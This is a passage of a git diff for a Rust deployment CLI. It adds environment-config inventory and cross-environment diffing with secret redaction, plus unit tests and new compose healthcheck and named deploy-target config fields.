+        write(&root.join("docker/prod/.env"), prod_env);
+    }
+
+    #[test]
+    fn config_diff_reports_key_missing_in_target_environment() {
+        let temp = TempDir::new().unwrap();
+        write_env_diff_project(
+            temp.path(),
+            "RUST_LOG=debug\nS3_BUCKET=dev-bucket\n",
+            "RUST_LOG=debug\n",
+        );
+
+        let diff = diff(temp.path(), None);
+
+        assert_eq!(diff.missing_in_to.len(), 1);
+        assert_eq!(diff.missing_in_to[0].target, "device-api");
+        assert_eq!(diff.missing_in_to[0].key, "S3_BUCKET");
+    }
+
+    #[test]
+    fn config_diff_reports_key_only_in_target_environment() {
+        let temp = TempDir::new().unwrap();
+        write_env_diff_project(
+            temp.path(),
+            "RUST_LOG=debug\n",
+            "RUST_LOG=debug\nNODE_ENV=production\n",
+        );
+
+        let diff = diff(temp.path(), None);
+
+        assert_eq!(diff.only_in_to.len(), 1);
+        assert_eq!(diff.only_in_to[0].key, "NODE_ENV");
+    }
+
+    #[test]
+    fn config_diff_reports_hash_difference_without_plaintext_values() {
+        let temp = TempDir::new().unwrap();
+        write_env_diff_project(temp.path(), "RUST_LOG=debug\n", "RUST_LOG=info\n");
+
+        let diff = diff(temp.path(), None);
+
+        assert_eq!(diff.different.len(), 1);
+        assert_eq!(diff.different[0].key, "RUST_LOG");
+        assert_ne!(diff.different[0].from_hash, diff.different[0].to_hash);
+    }
+
+    #[test]
+    fn config_diff_redacts_secret_like_differences() {
+        let temp = TempDir::new().unwrap();
+        write_env_diff_project(
+            temp.path(),
+            "API_TOKEN=dev-secret\n",
+            "API_TOKEN=prod-secret\n",
+        );
+
+        let diff = diff(temp.path(), None);
+
+        assert_eq!(diff.different.len(), 1);
+        assert!(diff.different[0].secret);
+        assert_ne!(diff.different[0].from_hash.as_deref(), Some("dev-secret"));
+        assert_ne!(diff.different[0].to_hash.as_deref(), Some("prod-secret"));
+    }
+
+    #[test]
+    fn config_diff_respects_service_filter() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+environments:
+  dev:
+    compose_file: docker/dev/compose.yml
+  prod:
+    compose_file: docker/prod/compose.yml
+"#,
+        );
+        write(
+            &temp.path().join("docker/dev/compose.yml"),
+            r#"
+services:
+  upload:
+    image: upload:latest
+    environment:
+      S3_BUCKET: dev-bucket
+  worker:
+    image: worker:latest
+    environment:
+      QUEUE: dev
+"#,
+        );
+        write(
+            &temp.path().join("docker/prod/compose.yml"),
+            r#"
+services:
+  upload:
+    image: upload:latest
+    environment:
+      S3_BUCKET: prod-bucket
+"#,
+        );
+
+        let diff = diff(temp.path(), Some("upload"));
+
+        assert_eq!(diff.different.len(), 1);
+        assert!(diff.missing_in_to.is_empty());
+        assert_eq!(diff.different[0].target, "upload");
+    }
+
+    #[test]
+    fn config_diff_treats_remote_secret_metadata_as_present_in_target() {
+        let from_inventory = ConfigInventory {
+            environment: "local".to_string(),
+            targets: vec![crate::cli::config_inventory::TargetConfigInventory {
+                target_code: "upload".to_string(),
+                keys: vec![ConfigKeyInventory {
+                    key: "S3_SECRET_KEY".to_string(),
+                    source: "stacker.yml service environment".to_string(),
+                    present: true,
+                    secret: true,
+                    value_hash: Some("local-hash".to_string()),
+                    value_preview: None,
+                }],
+            }],
+            warnings: Vec::new(),
+        };
+        let mut to_inventory = ConfigInventory {
+            environment: "prod".to_string(),
+            targets: vec![crate::cli::config_inventory::TargetConfigInventory {
+                target_code: "upload".to_string(),
+                keys: Vec::new(),
+            }],
+            warnings: Vec::new(),
+        };
+        crate::cli::config_inventory::merge_remote_secret_names(
+            &mut to_inventory,
+            "upload",
+            vec!["S3_SECRET_KEY".to_string()],
+        );
+
+        let diff = diff_inventories(from_inventory, to_inventory, Some("upload".to_string()));
+
+        assert!(diff.missing_in_to.is_empty());
+        assert_eq!(diff.different.len(), 1);
+        assert_eq!(diff.different[0].key, "S3_SECRET_KEY");
+        assert_eq!(diff.different[0].to_hash, None);
+    }
+}
diff --git a/src/cli/config_inventory.rs b/src/cli/config_inventory.rs
new file mode 100644
index 00000000..e6562df7
--- /dev/null
+++ b/src/cli/config_inventory.rs
@@ -0,0 +1,903 @@
+use std::collections::{BTreeMap, BTreeSet};
+use std::path::{Path, PathBuf};
+
+use serde::Serialize;
+use sha2::{Digest, Sha256};
+
+use crate::cli::config_parser::StackerConfig;
+use crate::cli::error::CliError;
+
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+pub struct ConfigInventory {
+    pub environment: String,
+    pub targets: Vec<TargetConfigInventory>,
+    pub warnings: Vec<String>,
+}
+
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+pub struct TargetConfigInventory {
+    pub target_code: String,
+    pub keys: Vec<ConfigKeyInventory>,
+}
+
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+pub struct ConfigKeyInventory {
+    pub key: String,
+    pub source: String,
+    pub present: bool,
+    pub secret: bool,
+    pub value_hash: Option<String>,
+    pub value_preview: Option<String>,
+}
+
+#[derive(Debug, Clone)]
+pub struct InventoryOptions {
+    pub environment: String,
+    pub service: Option<String>,
+    pub show_values: bool,
+}
+
+#[derive(Debug, Clone)]
+struct KeyEntry {
+    value: String,
+    source: String,
+}
+
+#[derive(Debug, Default)]
+struct InventoryBuilder {
+    targets: BTreeMap<String, BTreeMap<String, KeyEntry>>,
+    warnings: Vec<String>,
+}
+
+impl InventoryBuilder {
+    fn add_target(&mut self, target: &str) {
+        self.targets.entry(target.to_string()).or_default();
+    }
+
+    fn add_env_map(&mut self, target: &str, source: &str, values: BTreeMap<String, String>) {
+        let target_keys = self.targets.entry(target.to_string()).or_default();
+        for (key, value) in values {
+            target_keys.insert(
+                key,
+                KeyEntry {
+                    value,
+                    source: source.to_string(),
+                },
+            );
+        }
+    }
+
+    fn add_entries(&mut self, target: &str, entries: BTreeMap<String, KeyEntry>) {
+        self.targets
+            .entry(target.to_string())
+            .or_default()
+            .extend(entries);
+    }
+
+    fn warn(&mut self, message: impl Into<String>) {
+        self.warnings.push(message.into());
+    }
+}
+
+pub fn load_inventory(
+    config_path: &Path,
+    options: &InventoryOptions,
+) -> Result<ConfigInventory, CliError> {
+    let project_dir = config_path
+        .parent()
+        .filter(|path| !path.as_os_str().is_empty())
+        .unwrap_or_else(|| Path::new("."));
+    let config = StackerConfig::from_file(config_path)?;
+    let (_, env_config) = config
+        .resolve_environment_config(Some(&options.environment))?
+        .ok_or_else(|| {
+            CliError::ConfigValidation("environment could not be resolved".to_string())
+        })?;
+
+    let mut builder = InventoryBuilder::default();
+    let mut global_entries = BTreeMap::new();
+
+    if let Some(env_file) = env_config.env_file.as_ref() {
+        let path = resolve_relative(project_dir, env_file);
+        match parse_env_file(&path) {
+            Ok(values) => {
+                global_entries.extend(values.into_iter().map(|(key, value)| {
+                    (
+                        key,
+                        KeyEntry {
+                            value,
+                            source: "stacker env_file".to_string(),
+                        },
+                    )
+                }));
+            }
+            Err(error) if error.kind() == std::io::ErrorKind::NotFound => {
+                builder.warn(format!("Missing env file: {}", path.display()));
+            }
+            Err(error) => return Err(error.into()),
+        }
+    }
+    global_entries.extend(config.env.clone().into_iter().map(|(key, value)| {
+        (
+            key,
+            KeyEntry {
+                value,
+                source: "stacker.yml env".to_string(),
+            },
+        )
+    }));
+
+    let main_target = if config.name.trim().is_empty() {
+        "app".to_string()
+    } else {
+        config.name.clone()
+    };
+    if target_matches(&main_target, options.service.as_deref()) {
+        builder.add_target(&main_target);
+        builder.add_entries(&main_target, global_entries.clone());
+        builder.add_env_map(
+            &main_target,
+            "stacker.yml app environment",
+            config.app.environment.clone().into_iter().collect(),
+        );
+    }
+
+    for service in &config.services {
+        if !target_matches(&service.name, options.service.as_deref()) {
+            continue;
+        }
+        builder.add_target(&service.name);
+        builder.add_entries(&service.name, global_entries.clone());
+        builder.add_env_map(
+            &service.name,
+            "stacker.yml service environment",
+            service.environment.clone().into_iter().collect(),
+        );
+    }
+
+    if let Some(compose_file) = env_config.compose_file.as_ref() {
+        let compose_path = resolve_relative(project_dir, compose_file);
+        load_compose_file(
+            &compose_path,
+            "compose",
+            &global_entries,
+            None,
+            options.service.as_deref(),
+            &mut builder,
+        )?;
+    }
+
+    load_app_local_files(
+        project_dir,
+        &options.environment,
+        options.service.as_deref(),
+        &mut builder,
+    )?;
+
+    let mut targets = Vec::new();
+    for (target_code, keys) in builder.targets {
+        let key_entries = keys
+            .into_iter()
+            .map(|(key, entry)| {
+                let secret = is_secret_key(&key);
+                ConfigKeyInventory {
+                    key,
+                    source: entry.source,
+                    present: true,
+                    secret,
+                    value_hash: Some(hash_value(&entry.value)),
+                    value_preview: if secret || !options.show_values {
+                        None
+                    } else {
+                        Some(entry.value)
+                    },
+                }
+            })
+            .collect();
+
+        targets.push(TargetConfigInventory {
+            target_code,
+            keys: key_entries,
+        });
+    }
+
+    Ok(ConfigInventory {
+        environment: options.environment.clone(),
+        targets,
+        warnings: builder.warnings,
+    })
+}
+
+pub fn merge_remote_secret_names(
+    inventory: &mut ConfigInventory,
+    target_code: &str,
+    names: impl IntoIterator<Item = String>,
+) {
+    if let Some(target) = inventory
+        .targets
+        .iter_mut()
+        .find(|target| target.target_code == target_code)
+    {
+        for name in names {
+            if target.keys.iter().any(|key| key.key == name) {
+                continue;
+            }
+            target.keys.push(ConfigKeyInventory {
+                key: name,
+                source: "remote secret metadata".to_string(),
+                present: true,
+                secret: true,
+                value_hash: None,
+                value_preview: None,
+            });
+        }
+        target.keys.sort_by(|left, right| left.key.cmp(&right.key));
+        return;
+    }
+
+    let mut keys = names
+        .into_iter()
+        .map(|name| ConfigKeyInventory {
+            key: name,
+            source: "remote secret metadata".to_string(),
+            present: true,
+            secret: true,
+            value_hash: None,
+            value_preview: None,
+        })
+        .collect::<Vec<_>>();
+    keys.sort_by(|left, right| left.key.cmp(&right.key));
+
+    inventory.targets.push(TargetConfigInventory {
+        target_code: target_code.to_string(),
+        keys,
+    });
+    inventory
+        .targets
+        .sort_by(|left, right| left.target_code.cmp(&right.target_code));
+}
+
+fn load_compose_file(
+    compose_path: &Path,
+    source_prefix: &str,
+    global_entries: &BTreeMap<String, KeyEntry>,
+    target_override: Option<&str>,
+    service_filter: Option<&str>,
+    builder: &mut InventoryBuilder,
+) -> Result<(), CliError> {
+    let content = match std::fs::read_to_string(compose_path) {
+        Ok(content) => content,
+        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(()),
+        Err(error) => return Err(error.into()),
+    };
+    let parsed: serde_yaml::Value = serde_yaml::from_str(&content)?;
+    let Some(services) = parsed
+        .get("services")
+        .and_then(serde_yaml::Value::as_mapping)
+    else {
+        return Ok(());
+    };
+
+    let compose_dir = compose_path.parent().unwrap_or_else(|| Path::new("."));
+    for (service_name, service_config) in services {
+        let target = if let Some(target_override) = target_override {
+            target_override
+        } else {
+            let Some(target) = service_name.as_str() else {
+                continue;
+            };
+            target
+        };
+        if !target_matches(target, service_filter) {
+            continue;
+        }
+        builder.add_target(target);
+        builder.add_entries(target, global_entries.clone());
+
+        if let Some(env_file) = service_config.get("env_file") {
+            for env_path in compose_env_file_paths(env_file) {
+                let resolved = resolve_relative(compose_dir, &env_path);
+                match parse_env_file(&resolved) {
+                    Ok(values) => {
+                        builder.add_env_map(target, &format!("{source_prefix} env_file"), values)
+                    }
+                    Err(error) if error.kind() == std::io::ErrorKind::NotFound => {
+                        builder.warn(format!(
+                            "Missing env file for {target}: {}",
+                            resolved.display()
+                        ));
+                    }
+                    Err(error) => return Err(error.into()),
+                }
+            }
+        }
+
+        if let Some(environment) = service_config.get("environment") {
+            builder.add_env_map(
+                target,
+                &format!("{source_prefix} environment"),
+                compose_environment_values(environment),
+            );
+        }
+    }
+
+    Ok(())
+}
+
+fn load_app_local_files(
+    project_dir: &Path,
+    environment: &str,
+    service_filter: Option<&str>,
+    builder: &mut InventoryBuilder,
+) -> Result<(), CliError> {
+    let mut app_dirs = BTreeSet::new();
+    discover_app_local_dirs(project_dir, environment, &mut app_dirs)?;
+
+    for app_dir in app_dirs {
+        let Some(target) = app_dir.file_name().and_then(|name| name.to_str()) else {
+            continue;
+        };
+        if !target_matches(target, service_filter) {
+            continue;
+        }
+        let env_dir = app_dir.join("docker").join(environment);
+        let env_file = env_dir.join(".env");
+        if env_file.exists() {
+            let values = parse_env_file(&env_file)?;
+            builder.add_env_map(target, "app-local .env", values);
+        }
+
+        let compose_file = env_dir.join("compose.yml");
+        load_compose_file(
+            &compose_file,
+            "app-local compose",
+            &BTreeMap::new(),
+            Some(target),
+            service_filter,
+            builder,
+        )?;
+    }
+
+    Ok(())
+}
+
+fn target_matches(target: &str, service_filter: Option<&str>) -> bool {
+    match service_filter {
+        Some(service) => service == target,
+        None => true,
+    }
+}
+
+fn discover_app_local_dirs(
+    dir: &Path,
+    environment: &str,
+    app_dirs: &mut BTreeSet<PathBuf>,
+) -> Result<(), CliError> {
+    for entry in std::fs::read_dir(dir)? {
+        let entry = entry?;
+        let path = entry.path();
+        if !path.is_dir() {
+            continue;
+        }
+        let Some(name) = path.file_name().and_then(|name| name.to_str()) else {
+            continue;
+        };
+        if name.starts_with('.') || name == "target" {
+            continue;
+        }
+
+        let app_env_dir = path.join("docker").join(environment);
+        if app_env_dir.join("compose.yml").exists() || app_env_dir.join(".env").exists() {
+            app_dirs.insert(path.clone());
+        }
+    }
+
+    Ok(())
+}
+
+fn compose_environment_values(value: &serde_yaml::Value) -> BTreeMap<String, String> {
+    let mut values = BTreeMap::new();
+
+    match value {
+        serde_yaml::Value::Mapping(map) => {
+            for (key, value) in map {
+                if let Some(key) = key.as_str() {
+                    values.insert(key.to_string(), yaml_scalar_to_string(value));
+                }
+            }
+        }
+        serde_yaml::Value::Sequence(items) => {
+            for item in items {
+                let Some(item) = item.as_str() else {
+                    continue;
+                };
+                if let Some((key, value)) = item.split_once('=') {
+                    values.insert(key.to_string(), value.to_string());
+                }
+            }
+        }
+        _ => {}
+    }
+
+    values
+}
+
+fn compose_env_file_paths(value: &serde_yaml::Value) -> Vec<PathBuf> {
+    match value {
+        serde_yaml::Value::String(path) => vec![PathBuf::from(path)],
+        serde_yaml::Value::Sequence(items) => items
+            .iter()
+            .filter_map(|item| match item {
+                serde_yaml::Value::String(path) => Some(PathBuf::from(path)),
+                serde_yaml::Value::Mapping(map) => map
+                    .get("path")
+                    .and_then(serde_yaml::Value::as_str)
+                    .map(PathBuf::from),
+                _ => None,
+            })
+            .collect(),
+        serde_yaml::Value::Mapping(map) => map
+            .get("path")
+            .and_then(serde_yaml::Value::as_str)
+            .map(PathBuf::from)
+            .into_iter()
+            .collect(),
+        _ => Vec::new(),
+    }
+}
+
+fn parse_env_file(path: &Path) -> Result<BTreeMap<String, String>, std::io::Error> {
+    let content = std::fs::read_to_string(path)?;
+    let mut values = BTreeMap::new();
+
+    for line in content.lines() {
+        let line = line.trim();
+        if line.is_empty() || line.starts_with('#') {
+            continue;
+        }
+        let line = line.strip_prefix("export ").unwrap_or(line);
+        let Some((key, value)) = line.split_once('=') else {
+            continue;
+        };
+        let key = key.trim();
+        if key.is_empty() {
+            continue;
+        }
+        values.insert(key.to_string(), unquote_env_value(value.trim()).to_string());
+    }
+
+    Ok(values)
+}
+
+fn resolve_relative(base: &Path, path: &Path) -> PathBuf {
+    if path.is_absolute() {
+        path.to_path_buf()
+    } else {
+        base.join(path)
+    }
+}
+
+fn unquote_env_value(value: &str) -> &str {
+    value
+        .strip_prefix('"')
+        .and_then(|inner| inner.strip_suffix('"'))
+        .or_else(|| {
+            value
+                .strip_prefix('\'')
+                .and_then(|inner| inner.strip_suffix('\''))
+        })
+        .unwrap_or(value)
+}
+
+fn yaml_scalar_to_string(value: &serde_yaml::Value) -> String {
+    match value {
+        serde_yaml::Value::Null => String::new(),
+        serde_yaml::Value::Bool(value) => value.to_string(),
+        serde_yaml::Value::Number(value) => value.to_string(),
+        serde_yaml::Value::String(value) => value.clone(),
+        _ => serde_yaml::to_string(value)
+            .unwrap_or_default()
+            .trim()
+            .to_string(),
+    }
+}
+
+fn is_secret_key(key: &str) -> bool {
+    let normalized = key.to_ascii_uppercase();
+    [
+        "SECRET",
+        "PASSWORD",
+        "TOKEN",
+        "PRIVATE_KEY",
+        "CREDENTIAL",
+        "DATABASE_URL",
+        "DB_URL",
+    ]
+    .iter()
+    .any(|marker| normalized.contains(marker))
+}
+
+fn hash_value(value: &str) -> String {
+    let digest = Sha256::digest(value.as_bytes());
+    digest.iter().map(|byte| format!("{byte:02x}")).collect()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use tempfile::TempDir;
+
+    fn write(path: &Path, content: &str) {
+        if let Some(parent) = path.parent() {
+            std::fs::create_dir_all(parent).unwrap();
+        }
+        std::fs::write(path, content).unwrap();
+    }
+
+    fn inventory(
+        root: &Path,
+        environment: &str,
+        service: Option<&str>,
+        show_values: bool,
+    ) -> ConfigInventory {
+        load_inventory(
+            &root.join("stacker.yml"),
+            &InventoryOptions {
+                environment: environment.to_string(),
+                service: service.map(str::to_string),
+                show_values,
+            },
+        )
+        .unwrap()
+    }
+
+    fn key<'a>(inventory: &'a ConfigInventory, target: &str, name: &str) -> &'a ConfigKeyInventory {
+        inventory
+            .targets
+            .iter()
+            .find(|target_inventory| target_inventory.target_code == target)
+            .and_then(|target_inventory| target_inventory.keys.iter().find(|key| key.key == name))
+            .unwrap()
+    }
+
+    #[test]
+    fn config_inventory_collects_stackeryml_env_and_service_overrides() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+env:
+  RUST_LOG: info
+app:
+  environment:
+    RUST_LOG: debug
+services:
+  upload:
+    image: upload:latest
+    environment:
+      S3_BUCKET: superbucket
+"#,
+        );
+
+        let inventory = inventory(temp.path(), "prod", None, true);
+
+        assert_eq!(
+            key(&inventory, "device-api", "RUST_LOG")
+                .value_preview
+                .as_deref(),
+            Some("debug")
+        );
+        assert_eq!(
+            key(&inventory, "device-api", "RUST_LOG").source,
+            "stacker.yml app environment"
+        );
+        assert_eq!(
+            key(&inventory, "upload", "S3_BUCKET").source,
+            "stacker.yml service environment"
+        );
+    }
+
+    #[test]
+    fn config_inventory_attributes_top_level_env_file_keys() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+environments:
+  prod:
+    env_file: docker/prod/.env
+"#,
+        );
+        write(
+            &temp.path().join("docker/prod/.env"),
+            "DATABASE_URL=postgres://db\n",
+        );
+
+        let inventory = inventory(temp.path(), "prod", None, false);
+
+        assert_eq!(
+            key(&inventory, "device-api", "DATABASE_URL").source,
+            "stacker env_file"
+        );
+        assert!(key(&inventory, "device-api", "DATABASE_URL").secret);
+        assert_eq!(
+            key(&inventory, "device-api", "DATABASE_URL").value_preview,
+            None
+        );
+    }
+
+    #[test]
+    fn config_inventory_supports_relative_config_path_in_current_directory() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+env:
+  RUST_LOG: debug
+"#,
+        );
+
+        let previous_dir = std::env::current_dir().unwrap();
+        std::env::set_current_dir(temp.path()).unwrap();
+        let result = load_inventory(
+            Path::new("stacker.yml"),
+            &InventoryOptions {
+                environment: "prod".to_string(),
+                service: None,
+                show_values: true,
+            },
+        );
+        std::env::set_current_dir(previous_dir).unwrap();
+
+        let inventory = result.unwrap();
+        assert_eq!(
+            key(&inventory, "device-api", "RUST_LOG")
+                .value_preview
+                .as_deref(),
+            Some("debug")
+        );
+    }
+
+    #[test]
+    fn config_inventory_collects_compose_environment_and_env_file_by_service() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+environments:
+  prod:
+    compose_file: docker/prod/compose.yml
+"#,
+        );
+        write(
+            &temp.path().join("docker/prod/compose.yml"),
+            r#"
+services:
+  upload:
+    image: upload:latest
+    env_file:
+      - upload.env
+    environment:
+      UPLOAD_TMP_DIR: /tmp/upload
+"#,
+        );
+        write(
+            &temp.path().join("docker/prod/upload.env"),
+            "S3_BUCKET=superbucket\n",
+        );
+
+        let inventory = inventory(temp.path(), "prod", None, true);
+
+        assert_eq!(
+            key(&inventory, "upload", "S3_BUCKET").source,
+            "compose env_file"
+        );
+        assert_eq!(
+            key(&inventory, "upload", "UPLOAD_TMP_DIR")
+                .value_preview
+                .as_deref(),
+            Some("/tmp/upload")
+        );
+    }
+
+    #[test]
+    fn config_inventory_collects_app_local_env_files() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: stack
+deploy:
+  environment: prod
+"#,
+        );
+        write(
+            &temp.path().join("device-api/docker/prod/.env"),
+            "RUST_LOG=debug\n",
+        );
+
+        let inventory = inventory(temp.path(), "prod", None, true);
+
+        assert_eq!(
+            key(&inventory, "device-api", "RUST_LOG").source,
+            "app-local .env"
+        );
+        assert_eq!(
+            key(&inventory, "device-api", "RUST_LOG")
+                .value_preview
+                .as_deref(),
+            Some("debug")
+        );
+    }
+
+    #[test]
+    fn config_inventory_attributes_app_local_compose_to_app_directory() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: stack
+deploy:
+  environment: prod
+"#,
+        );
+        write(
+            &temp.path().join("device-api/docker/prod/compose.yml"),
+            r#"
+services:
+  app:
+    image: device-api:latest
+    environment:
+      RUST_LOG: debug
+"#,
+        );
+
+        let inventory = inventory(temp.path(), "prod", None, true);
+
+        assert_eq!(
+            key(&inventory, "device-api", "RUST_LOG").source,
+            "app-local compose environment"
+        );
+    }
+
+    #[test]
+    fn config_inventory_filters_to_one_service() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+services:
+  upload:
+    image: upload:latest
+    environment:
+      S3_BUCKET: superbucket
+"#,
+        );
+
+        let inventory = inventory(temp.path(), "prod", Some("upload"), true);
+
+        assert_eq!(inventory.targets.len(), 1);
+        assert_eq!(inventory.targets[0].target_code, "upload");
+    }
+
+    #[test]
+    fn config_inventory_redacts_secret_like_values_even_in_json_model() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+env:
+  API_TOKEN: supersecret
+"#,
+        );
+
+        let inventory = inventory(temp.path(), "prod", None, true);
+        let token = key(&inventory, "device-api", "API_TOKEN");
+
+        assert!(token.secret);
+        assert!(token.value_hash.is_some());
+        assert_eq!(token.value_preview, None);
+    }
+
+    #[test]
+    fn config_inventory_reports_missing_compose_env_file_without_panicking() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+environments:
+  prod:
+    compose_file: docker/prod/compose.yml
+"#,
+        );
+        write(
+            &temp.path().join("docker/prod/compose.yml"),
+            r#"
+services:
+  upload:
+    image: upload:latest
+    env_file: missing.env
+"#,
+        );
+
+        let inventory = inventory(temp.path(), "prod", None, true);
+
+        assert!(inventory
+            .warnings
+            .iter()
+            .any(|warning| warning.contains("docker/prod/missing.env")));
+    }
+
+    #[test]
+    fn config_inventory_service_filter_omits_unrelated_missing_env_file_warnings() {
+        let temp = TempDir::new().unwrap();
+        write(
+            &temp.path().join("stacker.yml"),
+            r#"
+name: device-api
+environments:
+  prod:
+    compose_file: docker/prod/compose.yml
+"#,
+        );
+        write(
+            &temp.path().join("docker/prod/compose.yml"),
+            r#"
+services:
+  device-api:
+    image: device-api:latest
+    env_file: device-api/.env
+  upload:
+    image: upload:latest
+    env_file: upload/.env
+"#,
+        );
+
+        let inventory = inventory(temp.path(), "prod", Some("upload"), true);
+
+        assert!(inventory
+            .warnings
+            .iter()
+            .any(|warning| warning.contains("docker/prod/upload/.env")));
+        assert!(!inventory
+            .warnings
+            .iter()
+            .any(|warning| warning.contains("docker/prod/device-api/.env")));
+    }
+
+    #[test]
+    fn config_inventory_merges_remote_secret_metadata_without_plaintext() {
+        let mut inventory = ConfigInventory {
+            environment: "prod".to_string(),
+            targets: vec![TargetConfigInventory {
+                target_code: "upload".to_string(),
+                keys: Vec::new(),
+            }],
+            warnings: Vec::new(),
+        };
+
+        merge_remote_secret_names(
+            &mut inventory,
+            "upload",
+            vec!["S3_BUCKET".to_string(), "S3_SECRET_KEY".to_string()],
+        );
+
+        assert_eq!(inventory.targets[0].keys.len(), 2);
+        assert!(inventory.targets[0].keys.iter().all(|key| key.secret));
+        assert!(inventory.targets[0]
+            .keys
+            .iter()
+            .all(|key| key.value_preview.is_none() && key.value_hash.is_none()));
+        assert_eq!(
+            inventory.targets[0].keys[0].source,
+            "remote secret metadata"
+        );
+    }
+}
diff --git a/src/cli/config_parser.rs b/src/cli/config_parser.rs
index f8462c18..b8317b3e 100644
--- a/src/cli/config_parser.rs
+++ b/src/cli/config_parser.rs
@@ -1,4 +1,4 @@
-use std::collections::HashMap;
+use std::collections::{BTreeMap, HashMap};
 use std::fmt;
 use std::path::{Path, PathBuf};
 
@@ -221,6 +221,14 @@ pub struct AppSource {
     /// section (app-level wins on conflict).
     #[serde(default)]
     pub environment: HashMap<String, String>,
+
+    /// Override the container CMD.  Maps to `command:` in docker-compose.
+    #[serde(default)]
+    pub command: Option<String>,
+
+    /// Docker compose healthcheck for this service.
+    #[serde(default)]
+    pub healthcheck: Option<ComposeHealthcheck>,
 }
 
 fn default_app_path() -> PathBuf {
@@ -241,6 +249,29 @@ fn default_build_context() -> String {
     ".".to_string()
 }
 
+fn default_health_timeout_compose() -> String {
+    "30s".to_string()
+}
+
+fn default_health_retries_compose() -> u32 {
+    3
+}
+
+/// Docker compose healthcheck definition for a service.
+///
+/// This is distinct from `MonitoringConfig::healthcheck`, which is an
+/// app-level HTTP endpoint polling configuration.
+#[derive(Debug, Clone, Serialize, Deserialize, Default)]
+pub struct ComposeHealthcheck {
+    pub test: String,
+    #[serde(default = "default_health_interval")]
+    pub interval: String,
+    #[serde(default = "default_health_timeout_compose")]
+    pub timeout: String,
+    #[serde(default = "default_health_retries_compose")]
+    pub retries: u32,
+}
+
 /// Additional container service alongside the app.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct ServiceDefinition {
@@ -258,6 +289,14 @@ pub struct ServiceDefinition {
 
     #[serde(default)]
     pub depends_on: Vec<String>,
+
+    /// Override the container CMD.  Maps to `command:` in docker-compose.
+    #[serde(default)]
+    pub command: Option<String>,
+
+    /// Docker compose healthcheck for this service.
+    #[serde(default)]
+    pub healthcheck: Option<ComposeHealthcheck>,
 }
 
 fn deserialize_services<'de, D>(deserializer: D) -> Result<Vec<ServiceDefinition>, D::Error>
@@ -268,8 +307,9 @@ where
 
     match value {
         serde_yaml::Value::Null => Ok(Vec::new()),
-        serde_yaml::Value::Sequence(_) => serde_yaml::from_value(value)
-            .map_err(serde::de::Error::custom),
+        serde_yaml::Value::Sequence(_) => {
+            serde_yaml::from_value(value).map_err(serde::de::Error::custom)
+        }
         serde_yaml::Value::Mapping(map) => {
             let mut services = Vec::new();
 
@@ -362,15 +402,56 @@ pub struct RegistryConfig {
     pub server: Option<String>,
 }
 
+/// Per-target deployment profile in multi-target configs.
+#[derive(Debug, Clone, Serialize, Deserialize, Default)]
+pub struct DeployProfileConfig {
+    #[serde(default)]
+    pub environment: Option<String>,
+
+    #[serde(default)]
+    pub compose_file: Option<PathBuf>,
+
+    #[serde(default)]
+    pub deployment_hash: Option<String>,
+
+    #[serde(default)]
+    pub cloud: Option<CloudConfig>,
+
+    #[serde(default)]
+    pub server: Option<ServerConfig>,
+
+    #[serde(default)]
+    pub registry: Option<RegistryConfig>,
+}
+
+impl DeployProfileConfig {
+    fn inferred_target(&self, profile_name: &str) -> Result<DeployTarget, CliError> {
+        match (self.server.is_some(), self.cloud.is_some()) {
+            (true, true) => Err(CliError::ConfigValidation(format!(
+                "deploy.targets.{profile_name} cannot define both 'server' and 'cloud'"
+            ))),
+            (true, false) => Ok(DeployTarget::Server),
+            (false, true) => Ok(DeployTarget::Cloud),
+            (false, false) => Ok(DeployTarget::Local),
+        }
+    }
+}
+
 /// Deployment target configuration.
 #[derive(Debug, Clone, Serialize, Deserialize, Default)]
 pub struct DeployConfig {
     #[serde(default)]
     pub target: DeployTarget,
 
+    #[serde(default)]
+    pub environment: Option<String>,
+
     #[serde(default)]
     pub compose_file: Option<PathBuf>,
 
+    #[serde(default)]
+    pub deployment_hash: Option<String>,
+
     #[serde(default)]
     pub cloud: Option<CloudConfig>,
 
@@ -380,6 +461,119 @@ pub struct DeployConfig {
     /// Docker registry credentials for pulling private images.
     #[serde(default)]
     pub registry: Option<RegistryConfig>,
+
+    /// Default named target when `deploy.targets` is used.
+    #[serde(default)]
+    pub default_target: Option<String>,
+
+    /// Named deploy profiles. When present, commands resolve one target profile
+    /// to the legacy single-target shape before executing.
+    #[serde(default)]
+    pub targets: BTreeMap<String, DeployProfileConfig>,
+}
+
+impl DeployConfig {
+    pub fn uses_named_targets(&self) -> bool {
+        !self.targets.is_empty()
+    }
+
+    fn parse_legacy_target_override(value: &str) -> Result<DeployTarget, CliError> {
+        let json = format!("\"{}\"", value.trim().to_lowercase());
+        serde_json::from_str::<DeployTarget>(&json).map_err(|_| {
+            CliError::ConfigValidation(format!(
+                "Unknown deploy target '{}'. Valid targets: local, cloud, server",
+                value
+            ))
+        })
+    }
+
+    fn resolve_named_target_name(&self, requested: Option<&str>) -> Result<String, CliError> {
+        if let Some(requested_name) = requested.map(str::trim).filter(|value| !value.is_empty()) {
+            if self.targets.contains_key(requested_name) {
+                return Ok(requested_name.to_string());
+            }
+
+            return Err(CliError::ConfigValidation(format!(
